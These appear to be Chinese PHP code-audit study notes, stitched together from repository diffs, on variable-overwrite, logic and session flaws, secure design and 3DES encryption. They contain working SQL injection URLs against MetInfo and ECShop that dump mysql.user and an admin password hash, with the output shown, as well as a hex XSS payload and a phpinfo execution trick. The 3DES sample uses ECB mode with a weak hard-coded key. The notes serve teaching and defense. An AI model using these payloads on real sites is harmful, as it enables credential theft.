在PHP语言中,单引号和双引号是有区别的,单引号代表纯字符串,而双引号则是会解析中间的变量,所以当使用双引号时会存在代码执行漏洞。
“@”符号是必须存在的除了@符号还有其他的写法也一样可以。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "PHP可变变量-phpinfo的用法举例:"."<br />";
//以下八条语句,都可以执行phpinfo
//$a = "${@phpinfo()}";
//$a = "${ phpinfo()}"; // 空格
$a = "${ phpinfo()}"; // TAB
//$a = "${/**/phpinfo()}";
// $a = "${ // 分行,回车
// phpinfo()}";
//$a = "${+phpinfo()}";
// $a = "${-phpinfo()}";
// $a = "${!phpinfo()}";
?>
```
```php
http://localhost/2020CodeAudit/c8/8-9-phpinfo.php
```
Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

+606
View File
@@ -0,0 +1,606 @@
- [1. 变量覆盖漏洞](#1-变量覆盖漏洞)
- [1.1. 变量覆盖漏洞挖掘经验](#11-变量覆盖漏洞挖掘经验)
- [1.1.1. extract()函数](#111-extract函数)
- [1.1.2. parse\_str()函数](#112-parse_str函数)
- [1.1.3. import\_request\_variables函数](#113-import_request_variables函数)
- [1.1.4. $$变量覆盖](#114-变量覆盖)
- [1.2. Metinfo变量覆盖漏洞分析](#12-metinfo变量覆盖漏洞分析)
- [1.3. 变量覆盖漏洞防范](#13-变量覆盖漏洞防范)
- [2. 逻辑处理漏洞](#2-逻辑处理漏洞)
- [2.1. 挖掘经验](#21-挖掘经验)
- [2.1.1. 等于与存在判断绕过](#211-等于与存在判断绕过)
- [2.1.2. 账户体系中的越权漏洞](#212-账户体系中的越权漏洞)
- [2.1.3. 未exit或return引发的安全问题](#213-未exit或return引发的安全问题)
- [2.1.4. 常见支付漏洞](#214-常见支付漏洞)
- [2.2. Ecshop逻辑错误注入](#22-ecshop逻辑错误注入)
- [3. 会话认证漏洞](#3-会话认证漏洞)
- [3.0.1. 会话认证漏洞挖掘经验](#301-会话认证漏洞挖掘经验)
- [3.1. Espcms任意用户登录分析](#31-espcms任意用户登录分析)
# 1. 变量覆盖漏洞
变量覆盖指的是可以用自定义的参数值替换程序原有的变量值。通常需要结合程序的其他功能来实现完整攻击比如一个文件上传页面,限制的文件扩展名白名单列表写在配置文件中变量中,但是变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表,那就可以添加一个PHP的扩展名,从而上传一个PHP的shell。
变量覆盖漏洞大多由函数使用不当导致经常引发变量覆盖漏洞的函数有: extract()函数和parse_str()函数,import_request_variables() 函数则是用在没有开启全局变量注册的时候,调用了这个函数则相当于开启了全局变量注册,在PHP 5.4之后这个函数已经被取消。
利用$$的方式注册变量,没验证已有变量导致覆盖是国内多套程序都犯过的一个问题,这些应用在使用外部传递进来的参数时不是用类似于 $_GET['key']这样原始的数组变量,而是把里面的key注册成了一个变量$key,注册过程中由于没有验证该变量是否已经存在就直接赋值,所以导致已有的变量值会被覆盖掉。
## 1.1. 变量覆盖漏洞挖掘经验
不仅仅要考虑的是能够实现变量覆盖还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。
### 1.1.1. [extract()](https://www.php.net/manual/zh/function.extract.php)函数
int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]])
第二个参数extract_type的取值:
- EXTR_OVERWRITE:默认,如果有冲突,则覆盖已有的变量
- EXTR_SKIP:如果有冲突,不覆盖已有的变量;
- EXTR_PREFIX_SAME:如果有冲突,在变量名前加上前缀prefix
- EXTR_PREFIX_ALL:给所有的变量名前加上前缀prefix
- EXTR__PREFIX_INVALID:仅在非法或数字变量名前加上前缀prefix。
- EXTR_IF_EXISTS:仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不处理。
- EXTR_PREFIX_IF_EXISTS:仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其他的都不处理。
- EXTF_REFS:将变量作为引用提取。导入的变量仍然引用了var_array参数的值。可以单独使用这个标志,或者在extract_type中用OR与其他任何标志结合使用。
符号表是指当前php页面中,所有变量名称的集合可以使用函数get_defined_vars直接获得当前所有已定义变量列表的多维数组如:print_r(get_defined_vars());
第一个参数var_array是必须的,会不会导致变量覆盖漏洞由第二个参数决定。该函数有三种情况会覆盖掉已有变量:
- 第一种是第二个参数为EXTR_ OVERWRITE,它表示如果有冲突,则覆盖已有的变量;
- 第二种情况是只传入第一个参数,这时候默认为EXTR_OVERWRITE模式;
- 第三种则是第二个参数为EXTR_IF_ EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "extract()函数使用举例:"."<br />";
$b = 3;
$a = array("b" => "2","k" => "1");
extract($a);
print_r($b);
echo '<br />';
print_r($a);
?>
```
```
http://localhost/2020CodeAudit/C6/6-1-1-1-extract-4.php
```
结果:
```
extract()函数使用举例:
2
Array ( [b] => 2 [k] => 1 )
```
变量$b被覆盖了。
### 1.1.2. [parse_str()](https://www.php.net/manual/zh/function.parse-str.php)函数
解析字符串并且注册成变量它在注册变量。之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有变量。
语法结构:void parse_str ( string $str [, array &$arr ])
第二个参数$arr是一个数组,注册的变量会放到这个数组里面,但是如这个数组原来就存在相同的键 (key),则会覆盖掉原有的键值。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "parse_str()函数使用举例:"."<br />";
$b = 1;
parse_str('b=2');
print_r($b);
?>
```
```
http://localhost/2020CodeAudit/C6/6-1-1-1-parse_str-2.php
```
结果
```
parse_str()函数使用举例:
2
```
### 1.1.3. [import_request_variables](https://www.php.net/manual/zh/function.mb-convert-variables.php)函数
把 GET、POST、COOKIE 的参数注册成变量。用在register_globals被禁止的时候,需要PHP 4.1至5.4之间的版本。不过建议不开启register_globals也不要使用。
该函数的说明如下:bool import_request_variables ( string $types [, string $prefix ])
- 其中$type代表要注册的变量,G代表GET, P代表POST, C代表COOKIE,所以当$type为GPC的时候,则会注册GET、POST、COOKIE参数为变量。
- 第二个参数$prefix为要注册的变量前缀。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "import_request_variables()函数使用举例:"."<br />";
$b = 22;
import_request_variables('GPC');
echo "\$a = $a";
echo '<br />';
echo "\$b = $b";
echo '<br />';
echo "\$c = $c";
?>
```
```
http://localhost/2020CodeAudit/C6/6-1-1-1-import_r_v.php?b=2
```
输出:
```
import_request_variables()函数使用举例:
$a =
$b = 2
$c =
```
### 1.1.4. $$变量覆盖
```php
<?php
$a=1;
foreach(array('_COOKIE','_POST','_GET') as $_REQUEST){
foreach($$_REQUEST as $_key => $_value){
echo $_key . '<br />';
$$_key = addslashes($_value);
}
}
echo $a;
?
```
解析:如果只通过GET提交a=1,无POST/COOKIE则```$_REQUEST=_GET``````$$_REQUEST==$_GET```。
```
http://localhost/2020CodeAudit/C6/6-1-1-2-cover-1.php?a=2
```
结果
```
a
2
```
## 1.2. Metinfo变量覆盖漏洞分析
include/common.inc.php 文件中:
```php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { // line 29
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
```
在这段代码之前的变量,都可以覆盖掉,包括数据库配置。
书上的SQL语句这个版本里没有。另外找了如下语句:
```php
if($met_oline!=1){ // line 98
$query="select * from $met_app where site=1 and download=1";
$app_file = $db->get_all($query);
foreach($app_file as $keyfile=>$valflie){
if(file_exists(ROOTPATH."$met_adminfile".$valflie['url'])){require_once ROOTPATH."$met_adminfile".$valflie['url'];}
}
}
```
这里为了演示,修改一下源代码,用于显示SQL的执行结果,只是为了展示SQL的注入效果。
```php
if($met_oline!=1){
$query="select * from $met_app where site=1 and download=1";
echo "$query\n"; // 增加的代码
$app_file = $db->get_all($query);
print_r($app_file); // 增加的代码
foreach($app_file as $keyfile=>$valflie){
if(file_exists(ROOTPATH."$met_adminfile".$valflie['url'])){require_once ROOTPATH."$met_adminfile".$valflie['url'];}
}
}
```
URL请求:
```
http://localhost/MetInfo5.0/include/common.inc.php?met_oline=2&met_app=mysql.user limit 1 %23
```
结果:
```
select * from mysql.user limit 1 # where site=1 and download=1
Array
(
[0] => Array
(
[Host] => localhost
[User] => root
[Select_priv] => Y
[Insert_priv] => Y
[Update_priv] => Y
[Delete_priv] => Y
[Create_priv] => Y
[Drop_priv] => Y
[Reload_priv] => Y
[Shutdown_priv] => Y
[Process_priv] => Y
[File_priv] => Y
[Grant_priv] => Y
[References_priv] => Y
[Index_priv] => Y
[Alter_priv] => Y
[Show_db_priv] => Y
[Super_priv] => Y
[Create_tmp_table_priv] => Y
[Lock_tables_priv] => Y
[Execute_priv] => Y
[Repl_slave_priv] => Y
[Repl_client_priv] => Y
[Create_view_priv] => Y
[Show_view_priv] => Y
[Create_routine_priv] => Y
[Alter_routine_priv] => Y
[Create_user_priv] => Y
[Event_priv] => Y
[Trigger_priv] => Y
[Create_tablespace_priv] => Y
[ssl_type] =>
[ssl_cipher] =>
[x509_issuer] =>
[x509_subject] =>
[max_questions] => 0
[max_updates] => 0
[max_connections] => 0
[max_user_connections] => 0
[plugin] => mysql_native_password
[authentication_string] => *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[password_expired] => N
[password_last_changed] => 2019-05-06 13:47:14
[password_lifetime] =>
[account_locked] => N
)
)
```
## 1.3. 变量覆盖漏洞防范
- 不进行变量注册,建议直接用原生的```$_GET```、```$_POST```等数组变量进行操作。
- 如果考虑程序可读性等原因,需要注册个别变量,可以直接在代码中定义变量,然后再把请求中的值赋值给它。如果一定要使用前面几种方式注册变量,可以在注册变量前先判断变量是否存在
- 如使用extract()函数则可以配置第二个参数为EXTR_ SKIP。使用parse_str()函数注册变量前需要先自行通过代码判断变量是否存在。
- 不建议使用import_request_variables()函数注册全局变量
# 2. 逻辑处理漏洞
指程序在业务逻辑上面的漏洞由于业务逻辑漏洞。大多都存在逻辑处理以及业务流程中,没有特别明显的关键字可以用来快速定位,通常这类漏洞的挖掘技巧是通读功能点源码,先熟悉这套程序的业务流程,后面挖掘起来就会比较顺畅。
值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用 户密码、cookie是否可预测或者说cookie验证是否可绕过等等。
## 2.1. 挖掘经验
### 2.1.1. 等于与存在判断绕过
绕过逻辑判断,从而实现攻击。
[in_array()](https://www.php.net/manual/zh/function.in-array.php)函数
用来判断一个值是否在某一个数组列表里面。如果是则返回true,否则返回false。通常的判断方式如下:in_array('b', array('a', 'b' , 'c'))这样是没有什么问题的。
过滤GET参数typeid在不在1,2,3,4这个数组里面,如果在则拼接到SQL语句里。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "in_array()函数绕过举例:"."<br />";
//var_dump(in_array('b', array('a', 'b' , 'c')));
if(in_array($_GET['typeid'],array(1,2,3,4))){
$sql = "select * from users where typeid='" . $_GET['typeid'] ."'";
echo $sql;
}
?>
```
in_array()函数存在一个问题:比较之前会自动做类型转换。
如果我们请求/1.php?typeid=l' union select
显示:select . . . where typeid='l' union select'
```
http://localhost/2020CodeAudit/C6/6-2-1-1-inarray.php?typeid=1' union select 1,2,3,4 %23
```
结果
```
in_array()函数绕过举例:
select * from users where typeid='1' union select 1,2,3,4 #'
```
注意,字符串 1' union select 1,2,3,4 %23 经过类型转换后,是整形1PHP的[intval](https://www.php.net/manual/zh/function.intval.php)的表现和大多语言不同!
```
intval($_GET['typeid']); // 转换后的结果是1
```
[is_numeric()](https://www.php.net/manual/zh/function.is-numeric.php)函数
判断一个变量是否为数字,如果是则返回true,否则返回false
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "is_numeric()函数绕过举例:"."<br />";
if(is_numeric($_GET['var'])){
$sql = "insert into tables(1,2) values('xx',{$_GET['var']})";
echo $sql;
}
?>
```
判断_GET中的var变量是否为数字,如果是,则执行SQL语句。
is_numeric()函数存在一个问题:当传入的参数为hex时则直接通过,并返回true。而MySQL是可以直接使用hex编码代替字符串明文的,存在二次注入和XSS等漏洞隐患。
```
<script>alert(l)</scipt>的 hex 编码
0x3c7363726970743e616c6572742831293c2f73636970743e
```
测试URL
```
http://localhost/2020CodeAudit/C6/6-2-1-1-isnumeric.php?var=0x3c7363726970743e616c6572742831293c2f73636970743e
```
结果:
```
is_numeric()函数绕过举例:
insert into tables(1,2) values('xx',0x3c7363726970743e616c6572742831293c2f73636970743e)
```
一个真是的SQL插入测试:
```sql
insert into userinfo(username,PASSWORD, email) values('xx',0x3c7363726970743e616c6572742831293c2f73636970743e,'a');
```
![image-20251023142651626](img/image-20251023142651626.png)
双等于和三等于
双等于在判断等于之前会先做变量[类型转换](https://www.php.net/manual/zh/language.types.type-juggling.php),而三等于则不会,由于数据类型被改变,所以双等于在判断的时候可能存在安全风险。
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "==和===举例:"."<br />";
var_dump($_GET['var']==2);//2aaa
echo "<br />";
var_dump($_GET['var']===2);
echo "<br />";
var_dump($_GET['var']==='2');
echo "<br />";
var_dump($_GET['var']==='2aa');
echo "<br />";
var_dump($_GET['var']==='2aaa');
?>
```
```
http://localhost/2020CodeAudit/C6/6-2-1-1-dubleequal.php?var=2aaa
```
返回结果:
```
==和===举例:
bool(true)
bool(false)
bool(false)
bool(false)
bool(true)
```
### 2.1.2. 账户体系中的越权漏洞
越权漏洞分为水平越权和垂直越权。
- 水平越权指原相同等级权限的用户A和B,A用户可以查看或操作到B用户的私有信息,而这个权限本来是A用户不该拥有的权限。
- 垂直权限指不在同权限等级的用户A和B,低权限等级的用户A可以查看或操作高权限等级B的私有信息,而这个权限本来是A用户不该拥有的权限。
都是账户体系上在判断权限时不严格导致存在绕过漏洞。这一类的绕过通常发生在cookie验证不严、简单判断用户提交的参数,归根结底,都是因为这些参数是在客户端提交,服务器端未严格校验。
### 2.1.3. 未exit或return引发的安全问题
在 if 语句的代码块内退出当前操作,有不少程序忘记写 return, die()或者exit(),导致程序还是会继续执行。
```php
if(file_exists('install.lock'){
//程序已安装,跳转到首页
header("Location: ../1-register.php");}
//进入安装流程
```
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "header()函数跳转绕过举例:"."<br />";
if($_GET['var']==='aa'){
//程序已安装,跳转到首页
header("Location: ./1-register.php");
}
//exit();
echo $_GET['var'];
?>
```
问题:如何查看后面的代码任然运行了?
### 2.1.4. 常见支付漏洞
第一、二、三种比较简单,分别是客户端可修改单价、总价和购买数量,服务器端未校验严格导致。这种类型的漏洞一般是在客户端通过js计算商品的总价,服务器没有进行严格的验证所致。客户端的数据,甚至html、js都是可以通过调试模式进行修改的。
还有一种是以重复发包来利用时间差,以少量的钱多次购买。
![image-20251023144200551](img/image-20251023144200551.png)
## 2.2. Ecshop逻辑错误注入
[str_replace](https://www.php.net/manual/zh/function.str-replace.php) 函数
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文 a=0&b=%00'
echo "ecshop逻辑错误注入,举例:"."<br />";
$a = addslashes($_GET['a']);// 0
$b = addslashes($_GET['b']);// \0\'
print_r($a . '<br />');
print_r($b . '<br />');
print_r(str_replace($a,'',$b));// \\'
?>
```
测试url
```
http://localhost/2020CodeAudit/C6/6-2-1-5-strreplace.php?a=0&b=%00'
```
结果:
```
ecshop逻辑错误注入,举例:
0
\0\'
\\'
```
- 0x00 添加 slashe 后是 \0
- 字符 ' 添加 slashe 后是 \
- 最后组合成 \0\\'
str_replace 函数又把 字符 0 删除掉了,因最终结果是 \\\\'
\\\ 在字符串中表示字符 \ ,经过转义的。
以上是背景。
漏洞核心代码在\includes\modules\payment\alipay.php文件 respond()函数。
```php
$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']); //line 216
$order_sn = trim($order_sn);
/* 检查支付的金额是否相符 */
if (!check_money($order_sn, $_GET['total_fee']))
{
return false;
}
```
```
http://localhost/ECshop/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) %23
```
> 注意:这里并没有看到 addslashes 函数的使用,应该是在 respond.php 调用的过程中统一对 GET 参数进行了处理,有兴趣的同学可以分析一下。
>
> 最好使用 %23 引入 # 来屏蔽代码中闭合的单引号,这样SQL才是合法的
运行结果:
```php
<b>MySQL server error report:Array
(
[0] => Array
(
[message] => MySQL Query Error
)
[1] => Array
(
[sql] => SELECT order_amount FROM `ecshop`.`ecs_pay_log` WHERE log_id = '\\' and (select * from (select count(*),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) #'
)
[2] => Array
(
[error] => Duplicate entry '0admin0acc94931bc6e1ee2f8e20cc37303c4d' for key 1
)
[3] => Array
(
[errno] => 1062
)
)
```
> 注意:该代码好像只能在 mysql 5.0 下运行才会返回秘密字符串;而且不是每一次都成功。这里应该是利用了特定版本 mysql 的错误信息漏洞。
另外,浮现该漏洞需要打开后台的支付宝功能。
![image-20251023165548260](img/image-20251023165548260.png)
# 3. 会话认证漏洞
会话认证涉及各种认证协议和框架,如cookie, session, SSO、OAuth , OpenID等
- SSO:单点登录,就是通过用户的一次性鉴别登录
- OAuth:一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。
- OpenID:是一个去中心化的网上身份认证系统。对于支持OpenID的网站,用户不需要记住像用户名和密码这样的传统验证标记。取而代之的是,他们只需要预先在一个作为OpenID身份提供者(identity provider, IdP)的网站上注册。
- 还有现在广泛使用的微信认证,也是三方认证。
出现问题比较多的在cookie。
### 3.0.1. 会话认证漏洞挖掘经验
先看一下程序的登录功能代码,看看整个登录过程的业务逻辑有没有可以控制session值或者直接绕过密码验证的漏洞。
另外需要关注程序验证是否为登录的代码,通俗的说是验证cookie的代码,是不是直接去取cookie里面的值,然后怎么去判断这个值来验证是否登录。
cookie 认证安全:
- cookie可以保存任何字符串,大小一般都不超过4096个字节/4096B
- cookie用来保存登录账号的标识信息,比如用户名或者sessionid等
- cookie出现问题比较多的是cookie的SQL注入和cookie伪造
## 3.1. Espcms任意用户登录分析
文件/interface/memebermain.php的in_center()函数
```php
parent::start_pagetemplate();
parent::member_purview(); // line 24
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' ";
$db_table1 = db_prefix . 'member AS a';
$db_table2 = db_prefix . 'member_value AS b';
$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id ";
$rsMember = $this->db->fetch_first($db_sql);
$rsMember['rankname'] = $this->get_member_purview($rsMember['mcid'], 'rankname');
$userid = $this->ec_member_username_id; // line 33
```
Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 202 KiB

+161
View File
@@ -0,0 +1,161 @@
- [1. 验证码](#1-验证码)
- [1.1. 用户登录](#11-用户登录)
- [1.1.1. 撞库漏洞](#111-撞库漏洞)
- [1.1.2. API 登录](#112-api-登录)
- [1.1.3. 用户注册](#113-用户注册)
- [1.1.4. 密码找回的安全设计思路](#114-密码找回的安全设计思路)
- [1.2. 资料查看与修改的安全设计思路](#12-资料查看与修改的安全设计思路)
- [1.3. 投票/积分/抽奖的安全设计思路](#13-投票积分抽奖的安全设计思路)
- [1.4. 充值支付的安全设计思路](#14-充值支付的安全设计思路)
- [1.5. 私信及反馈的安全设计思路](#15-私信及反馈的安全设计思路)
- [1.6. 远程地址访问的安全设计思路](#16-远程地址访问的安全设计思路)
- [1.7. 文件管理的安全设计思路](#17-文件管理的安全设计思路)
- [1.8. 数据库管理的安全设计思路](#18-数据库管理的安全设计思路)
- [1.9. 命令/代码执行的安全设计思路](#19-命令代码执行的安全设计思路)
- [1.10. 文件/数据库备份的安全设计思路](#110-文件数据库备份的安全设计思路)
- [1.11. API的安全设计思路](#111-api的安全设计思路)
# 1. 验证码
- 验证码有图片验证码、滑动验证码、短信/邮箱/电话、二维码等分类
- 而据保守估计起码有80%以上的验证码是存在可以爆破和简单识别的问题,设计一个有效的验证码尤为重要
**验证码不刷新导致直接绕过**
- 验证码能够多次使用的原因是后端程序在接收一次请求后,并没有主动刷新验证码
- 部分比较大的业务使用了负载均衡,验证码跟Session绑定在一起,为了能够保证验证码能够正常使用,所以会把验证码明文或者加密后放在Cookie或者POST数据包里面
- 所以每次只要同一个数据包里面的两个验证码对上了即可绕过
**验证码暴力破解**
- 注册或者找回密码等敏感操作时的手机或者邮箱验证码能够爆破
- 主要是因为程序没有设置验证码错误次数和超时,导致能够不断进行尝试
**验证码机器识别**
图片验证码的机器识别,有两种情况:
- 一种是针对不是实时生成的验证码,已经生成了部分的验证码在服务器端保存,前端直接加载验证。这类是最好绕过的,只要把全部的验证码文件保存回来,做一个图片MD5库,然后利用的时候直接匹配服务器端返回的图片MD5即可识别。
- 另外一种是动态生成的验证码,这类需要做一些图片文字识别或者语音识别
**验证码打码平台**
> 打码是网络兼职数据录入工作的一种,指通过人工识别并输入验证码以协助自动化程序绕过[图灵测试](https://baike.baidu.com/item/图灵测试/1701255?fromModule=lemma_inlink)的行为,常见于批量注册账号、群发广告等场景。
**强壮的验证码**
1. 设置验证码错误次数
2. 不把验证码放到HTML页面或者Cookie中。
3. 验证码要设置只能请求一次,请求一次后不管错误与否都在后端程序强制刷新。
4. 短信或者邮件验证码必须要6位以上字母和数字混合,图片或者语音验证码要加强混淆干扰,比如图片文字变形,增加干扰斑点等。语音验证码增加背景噪声。
5. 验证码要动态生成,不能统一生成多次调用
## 1.1. 用户登录
### 1.1.1. 撞库漏洞
撞库漏洞是指登录口没有做登录次数限制,导致可以使用不同的用户及密码进行不断的登录尝试,以遍历用户密码;也可以理解为登录爆破。
- 用户名和密码错误次数都无限制
- 单时间段内用户的密码错误次数限制
- 单时间段内IP登录错误次数限制
- 针对撞库漏洞比较好的解决方案是使用登录验证码和多因素认证
### 1.1.2. API 登录
- 登录密钥(clientkey)需要不可预测并且不固定,生成key的算法中加入随机字符。
- API接口禁止搜索引擎收录。
- 登录密钥当次绑定当前主机,换机器不可用,防止QQ木马和嗅探key。
案例:193页
### 1.1.3. 用户注册
垃圾注册,机器注册是比较头痛的问题。如何抵御恶意注册?
1. 设计验证码采
2. 集用户机器唯一识别码,
3. 拦截短时间内多次注册
4. 根据账号格式自学习识别垃圾账号
5. 防止SQL注入漏洞与XSS漏洞
### 1.1.4. 密码找回的安全设计思路
195页
1. 输入用户名、手机、邮箱阶段:存在完全或者部分显示隐私信息;或者服务器没有严格验证,依靠客户端提交的数据。
2. 添加验证码和新密码阶段:验证凭证简单,可能暴力破解;没有限定次数;Token验证可以预测(机器伪造爆破);凭证在源代码中。
3. 发送密码阶段:凭证和用户间关系没有严格验证
基本思路
- 接收验证码的邮箱和手机号不可由用户控制,直接从数据库中读取。
- 加强验证凭证复杂度,防止被暴力破解。
- 限制验证凭证错误次数验证凭证设置失效时间。
- 验证凭证不要保存在页面。输入用户邮箱或ID、手机号取验证凭证的地方需要设置验证码防止短信炸弹和批量找回等。
- 验证凭证跟用户名、用户ID、用户邮箱绑定,找回密码时验证当前凭证是否是当前用户的。
## 1.2. 资料查看与修改的安全设计思路
197页的案例。背景知识:[HTTP、Cookie、Session](../工具/http.md)
- 用户资源ID (订单ID、地址ID等等)绑定到用户,只允许有权限的用户查看。
- 当前用户信息存储到session,不放到request中,避免攻击者修改当前用户ID
## 1.3. 投票/积分/抽奖的安全设计思路
199页案例。
- 机器识别码验证,每台机器都可以根据硬件信息生成唯一的识别码。
- 操作需要登录,当前用户信息从session中读取。
## 1.4. 充值支付的安全设计思路
- 保证数据可信,商品单价及总价不可从客户端获取
- 购买数量不能小于等于0,<65536。
- 账户支付锁定机制,当一个支付操作开始就应该立马锁定当前账户,不能同时两个后端请求对余额进行操作
## 1.5. 私信及反馈的安全设计思路
201页案例,利用XSS漏洞获取管理员cookie。
- 将特殊字符进行过滤
- 使用白名单和黑名单结合的方式。
## 1.6. 远程地址访问的安全设计思路
- 限制填写内网地址
- 考虑短地址的问题
## 1.7. 文件管理的安全设计思路
- 禁止写入脚本可在服务器端执行的文件
- 限制文件管理功能操作的目录
- 限制文件管理功能访问权限
- 禁止上传特殊字符文件名的文件
## 1.8. 数据库管理的安全设计思路
- 限制可以操作的数据库表,如果是数据库备份可以直接在代码里面写死只能操作哪些表,如果是执行SQL语句的方式可以另建一个MySQL用户,限制可以操作的表和字段。
- 限制备份到服务器上的文件名,需要系统随机生成类似md5并且长度不能低于16位,扩展名不能自定义
## 1.9. 命令/代码执行的安全设计思路
- 严格控制该功能访问权限,建议高权限才能访问。
- 在满足业务需求的情况下,可以设置命令白名单,可使用escapeshellcmd()以 及escapeshellarg()函数进行过滤,命令直接写死在代码中更好。
- 给命令及代码执行功能设置独立密码。
- 代码执行功能限制脚本可访问的路径。
- 在满足需求的情况下限制当前执行命令的系统用户权限。
## 1.10. 文件/数据库备份的安全设计思路
207页解释。
- 进行权限控制,由于备份功能是一个非常高危敏感的功能,一定要限制高权限才能使用。
- 文件名随机生成,不可预测,可以把当前时间戳加上6位以上字母和数字随机生成的字符串进行md5来做为文件名。
## 1.11. API的安全设计思路
- 访问权限控制
- 防止敏感信息泄露
- SQL注入等常规漏洞
+313
View File
@@ -0,0 +1,313 @@
- [1. 对称加密](#1-对称加密)
- [1.1. 国密算法SM系列](#11-国密算法sm系列)
- [1.2. 3DES 加密](#12-3des-加密)
- [1.3. AES 加密](#13-aes-加密)
- [1.4. RSA加密](#14-rsa加密)
- [1.5. 单向加密](#15-单向加密)
加密是指将明文直接可见的数据以特定的算法进行混淆,以保证数据的安全掩蔽性常见的加密算法可以分为对称加密、非对称加密以及单向加密(哈希算法)
# 1. 对称加密
- 对称加密指的是采用单密钥进行加密,并且该密钥可以对数据进行加密和解密处理
- 目前这类加密算法安全性均比较高,数据的实际安全性取决于密钥的管理
- 常用的算法有DES、3DES、TDEA、Blowfish、RC2、RC4、RC5、IDEA、SKIPJACK、AES 等
## 1.1. 国密算法SM系列
- 国密算法是国家密码管理局制定标准的一系列算法。
- SM1,对称加密算法,加密强度为128位,采用硬件实现
- SM2,非对称算法,椭圆曲线公钥密码,其加密强度为256位
- SM3,密码杂凑(哈希)算法,杂凑值长度为32字节
- SM4,对称加密算法,可使用软件实现,加密强度为128位。
- SM7,对称加密算法,加密强度为128位SM9,标识密码算法,非对称
## 1.2. 3DES 加密
- 在 php.ini 中打开 php_mcrypt.dll 以及php_mcrypt_filter.dll 两个lib库的引用
- 即去掉代码前面的分号;
- extension=php_mcrypt.dll;
phpinfo 中会有对应的显示
![image-20251030174105509](img/image-20251030174105509.png)
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP使用3DES加密算法举例:"."<br />";
class Crypt3Des{
public $key = "123456789";//加密密钥
function Crypt3Des($key){
$this->key=$key;
}
//加密函数
function encrypt($input){
$size = mcrypt_get_block_size(MCRYPT_3DES,'ecb');
$input = $this->pkcs5_pad($input,$size);
$key = str_pad($this->key,24,'0');
$td = mcrypt_module_open(MCRYPT_3DES,'','ecb','');
$iv = @mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
@mcrypt_generic_init($td, $key, $iv);
$data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
// var_dump($data);
// exit();
$data = base64_encode($data);
return $data;
}
//解密函数
function decrypt($encrypted){
$encrypted = base64_decode($encrypted);
$key = str_pad($this->key,24,'0');
$td = mcrypt_module_open(MCRYPT_3DES,'','ecb','');
$iv = @mcrypt_create_iv(mcrypt_enc_get_iv_size($td),MCRYPT_RAND);
$ks = mcrypt_enc_get_key_size($td);
@mcrypt_generic_init($td, $key, $iv);
$decrypted = mdecrypt_generic($td, $encrypted);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$y=$this->pkcs5_unpad($decrypted);
return $y;
}
function pkcs5_pad($text, $blocksize){
$pad = $blocksize - (strlen($text) % $blocksize);
return $text . str_repeat(chr($pad), $pad);
}
function pkcs5_unpad($text){
$pad = ord($text{strlen($text)-1});
if ($pad > strlen($text)) {
return false;
}
if (strspn($text, chr($pad), strlen($text) - $pad) != $pad){
return false;
}
return substr($text,0,-1*$pad);
}
function PaddingPKCS7($data){
$block_size = mcrypt_get_block_size(MCRYPT_3DES, MCRYPT_MODE_CBC); $padding_char = $block_size - (strlen($data) % $block_size);
$data .= str_repeat(chr($padding_char), $padding_char);
return $data;
}
}
//使用方法很简单,只要实例化这个类,直接调用相应函数即可,如下所示:
$rep=new Crypt3Des('123456789');
$input="hello 3des";
echo "原文:" . $input . "<br />";
$encrypt_card = $rep->encrypt($input);
echo "加密:" . $encrypt_card . "<br />";
echo "解密:" . $rep->decrypt($rep->encrypt($input));
?>
```
```
http://localhost/2020CodeAudit/c10/10-1-1-3des.php
```
结果:
```
PHP使用3DES加密算法举例:
原文:hello 3des
加密:o9f/220Jb4GFSTHV9NL7mQ==
解密:hello 3des
```
## 1.3. AES 加密
```php
<?php
